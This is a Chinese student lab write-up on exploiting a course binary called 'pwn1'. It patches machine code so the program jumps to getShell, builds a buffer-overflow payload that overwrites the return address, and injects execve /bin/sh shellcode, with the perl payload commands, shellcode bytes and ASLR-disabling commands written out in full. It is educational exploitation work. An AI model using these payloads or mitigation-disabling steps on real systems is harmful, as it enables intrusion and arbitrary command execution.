欢迎来到网络对抗路 实验一 PC平台逆向破解(5)M

实验一 PC平台逆向破解(5)M

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)

(3)JE:条件转移指令,如果相等则跳转。(机器码:74)

(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2、掌握反汇编与十六进制编程器

(1)之前在云班课《机械指令与汇编语言》一课中提到反汇编,于是进行如下操作对老师所提供的pwn1进行反汇编操作。

命令如下:objdump –d pwn1

objdump是gcc工具,用来查看编译后目标文件的组成

(2)十六进制编程器没什么可说的,直接略过了

3、能正确修改机器指令改变程序执行流程

(1)在完成了第二步的反汇编操作后,我们进行直接修改程序机器指令,改变程序执行流程的操作

  • 首先我们找到main主函数,在其中汇编语言里找到call 8048491<foo>

此条汇编指令为调用位于8048491处的foo函数,此条对应的机械指令为e8 d7 ff ff ff

  • 按照实验要求,我们需要让main函数从调用foo函数变为调用getShell函数,故我们只需要修改d7 ff ff ff即可,因为e8在机械指令上是跳转的含义。

当我们执行e8这条指令时,CPU就会执行当前地址+d7 ff ff ff这个位置的指令。

  • 为什么CPU执行完e8的指令会跳转到8048491?

因为d7 ff ff ff是补码,且求原码顺序要从右到左,因为都是f所以省略,d7的原码为29,故原码为-0X29。

计算80484ba(这个地址是在e8跳转之后的下一个地址)- 0X29 = 8048491。我们需要计算从该地址跳转到getShell需要的地址数是多少,从80484ba减去地址数即可。

  • 由图所示,getShell的地址为804847d,故地址数为80484ba-804847d=0X3d,0X3d的补码为C3,故指令应该改为C3 ff ff ff

  • 由此我们便可以执行我们修改之后的文件,这里我将pwn1备份并改为pwn2进行操作。

在vim pwn2后发现乱码,摁下Esc后输入:%!xxd,将其转换为16进制。

查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后再使用:%!xxd -r转换为原格式后保存并退出。

  • 使用objdump –d pwn2 对pwn2进行反汇编,检查call指令是否正常调用getShell

  • 运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程

4、能正确构造payload进行bof攻击

(1)首先,我们需要知道一件事:call指令的分解

当main函数选择调用foo函数时,会产生call的机械指令,call指令实际上分为两步

  • push eip

  • jump XXX(地址)

就是当执行call指令时,先要将返回地址eip压入栈中,然后跳转到函数入口。eip保

存的是call下一条指令的地址,当调用结束后,程序通过这个地址进行返回。

(2)缓冲区溢出

通过我们之前的学习可以知道,foo函数的缓冲区具有Bufferoverflow的漏洞,就是如果在这个缓冲区填入超出长度的字符串,多出来的字符串内容就会溢出并覆盖到相邻的地址内存上,当这段字符串被恶意设计后,就可能覆盖到返回地址,使我们的返回地址指向其他地方,达到攻击者的意图。

本次实验中我将覆盖返回地址,使返回地址指向getShell。

在这里说一下lea指令,lea是load effective address"的缩写,简单的说,lea指令可以用来将一个内存地址直接赋给目的操作数。

例如:

lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax,而不是把ebx+8处的内存地址里的数据赋给 eax.

由图可知,foo函数留出了“0X1c”的缓冲区,main函数中eip中装入返回地址“80484ba”

当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址,这部分占4个字节,4个字节保存主函数ebp,然后紧跟着缓冲区的28字节,如图所示:

通俗的一点来说,就是先把ebp寄存器压入栈最高位,之后在ebp后开拓28个字节的eax寄存器,最后用esp封底。地址由高到低存放。

(3)验证

下面开始验证

  • 首先输入gdb pwn1 ,输入‘r’运行,现在我们构造一个40位的字符串

“1111111122222222333333334444444412345678”观察结果。

  • 首先在gbd后面输入r(run),查看运行结果
    图片上面程序报告显示:Segmentation fault

  • 看样子程序运行不了,我们继续在gdb后面输入info r(reg)打印出程序寄存器的数值

  • 这里可以看到,eip寄存器的数值就是我们之前输入的1234,所以可以确定溢出的数值是第33字节到36字节。eip也被其所覆盖。

(4)构造getShell

  • 按照之前我们得知的结果,getShell函数的首地址应该是“0804847d”,现在我们只需输入一个36字节的字符串,并精心设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。

  • Perl语言: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。

  • 我们输入命令:
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > la(la是我随便取的名字,可随意)将地址存储到la文件中来。

接着输入xxd la,查看文件产生的地址数是否为“7d8404080”

由图所示,产生地址成功,接下来就是将la的内容存储到pwn1文件中了。

(这里cat用法我也不太会,看了老师的码云连接才做出来的QAQ)

至此我们再一次成功召唤出Shellcode!任务结束^^

5、注入Shellcode并执行

(1)Shellcode:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

本次实验我们所需要的Shellcode:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

(2)构造buf攻击的方法

  • Linux下有两种构造攻击的方法

  • retaddr+nop+shellcode

  • nop+shellcode+retaddr

在这里说一下nop的用处,nop就是指空指令,机器码为‘0x90’,代表什么都不做,直接进行下一个指令,当程序执行到nop时,都会直接执行我们的shellcode指令。

本次实验采用的是第一种方法:retaddr+nop+shellcode

(3)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址

  • 输入execstack -s pwn1 //设置堆栈可执行

  • 输入execstack -q pwn1

  • 输入more /proc/sys/kernel/randomize_va_space

  • 输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

  • 输入more /proc/sys/kernel/randomize_va_space

image

(4)构造payload

  • 输入perl -e 'print"x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode(注意这里最后一个字符不是x0a,不然后续步骤无法完成)

image

  • 注入攻击buf(cat input_shellcode;cat) | ./pwn1

image

  • 打开另一个终端,先找到pwn1的进程
  • 如图可以看出该进程的进程id为“9941”
  • 启动gdb,输入attach 9941
  • 输入disassemble foo,发现断在“080484ae”
  • 输入break *0x080484ae设置断点
  • 之后继续输入c继续!!!!!!这一步一定要在另一个终端摁下回车之前!!!!
  • 在另外一个终端按下回车(这也是为什么攻击buf不能以x0a结尾)

image

  • 从图中可以看到虽然执行了命令,但是仍是出现错误,根据老师写的博客来看,他说是当前栈顶也在这,一push就把指令自己给覆盖的原因造成的,不过没关系,我们依旧可以通过这次操作获取到我们需要更改的地址。

image

  • 回到gdb终端,输入info r esp,查看栈顶指针

image

  • 在图中我们可以观察到,1234的地址数为d1dc,云班课的视频提到过,我们找到9999只是相差了4个字节,所以我们直接得出其所在地址为d1e0。那么下一步我们就可以直接通过修改上面输入的40位字符串来实现shellcode注入啦!

  • 我们修改字符串,输入命令:perl -e 'print "A" x 32;print "xe0xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

image

  • Ohhhhhhhhh!!我们终于成功了!

总结

这次实验相比以往有很大不同,以往的实验都是比较宏观的,使用C语言和java完成的,而这次的实验却是主要和汇编语言、堆栈、机器码打交道.因此我花了很多时间去观看教学视频,自己还原堆栈中的情况,尽量弄清楚每一个步骤的用意和原理。这也提醒了我以后完成实验还要再细致一点,完善思路的同时也可以乐在其中。本次实验我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。由此我明白了编写正确的代码是一件非常有意义的工作,特别象C语言那种看似简单而容易出错的程序,更容易出现由于追求性能而忽视正确性的问题。这警示我在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。

什么是漏洞?漏洞有什么危害

漏洞是黑客入侵的主要手段,包括旁注类。黑客可以利用一个漏洞就能让您的电脑资料,包括密码等商业密码全部盗走,开始一些非法活动,比如用宽带号疯狂的网上消费。漏洞还能让您的电脑变的缓慢,一些病毒源源不断的来袭,您就要考虑是不是有漏洞了。漏洞就比如身上一件衣服,一有漏洞,风就会刮进来越多,自己就觉的越凉。电脑也是一样,越多的漏洞就能让电脑死机、瘫痪甚至报废。

原文地址:https://www.cnblogs.com/liang20181208/p/14498530.html